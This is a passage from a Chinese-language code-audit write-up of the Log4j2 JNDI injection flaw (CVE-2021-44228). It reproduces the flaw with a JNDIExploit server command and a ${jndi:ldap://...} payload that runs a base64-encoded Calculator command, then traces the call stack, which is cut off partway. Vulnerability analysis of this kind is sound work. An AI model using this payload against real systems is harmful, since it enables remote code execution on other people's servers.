代码审计-log4j2_rce分析

前言

2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

2021年12月9日晚，各大公众号突然发布漏洞预警

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。

由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录，即可造成远程代码执行。（CNVD-2021-95914、CVE-2021-44228）

影响版本：Apache Log4j 2.x <= 2.15.0-rc1

2.15.0-rc1 存在补丁绕过，但是很鸡肋

复现

老规矩，先复现，再分析

1、pom.xml

• Jdk8u111

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
       <dependency>

           <groupId>org.apache.logging.log4j</groupId>

           <artifactId>log4j-core</artifactId>

           <version>2.14.1</version>

       </dependency>

       <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->

       <dependency>

           <groupId>org.apache.logging.log4j</groupId>

           <artifactId>log4j-api</artifactId>

           <version>2.14.1</version>

       </dependency>

2、启动JNDI注入Server

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1

3、漏洞代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {

   private static final Logger logger = LogManager.getLogger(Test.class);

   public static void main(String[] args) {

       logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}");

   }

}

4、效果

分析

1、调用栈

在利用过程中，因为我们明确知道要执行系统命令调用java.lang.Runtime#exec(java.lang.String[])，所以在exec方法处下断点，分析一下调用栈

运行获取调用栈

exec:485, Runtime (java.lang)
<init>:-1, ExploitgJlWqLWBF3

newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)

newInstance:62, NativeConstructorAccessorImpl (sun.reflect)

newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)

newInstance:423, Constructor (java.lang.reflect)

newInstance:442, Class (java.lang)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)

getObjectInstance:189, DirectoryManager (javax.naming.spi)

c_lookup:1085, LdapCtx (com.sun.jndi.ldap)

p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)

lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)

lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)

lookup:94, ldapURLContext (com.sun.jndi.url.ldap)

lookup:417, InitialContext (javax.naming)

lookup:172, JndiManager (org.apache.logging.log4j.core.net)

lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)

lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)

resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)

substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)

substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)

replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)

format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)

format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)

toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)

toText:244, PatternLayout (org.apache.logging.log4j.core.layout)

encode:229, PatternLayout (org.apache.logging.log4j.core.layout)

encode:59, PatternLayout (org.apache.logging.log4j.core.layout)

directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)

tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appen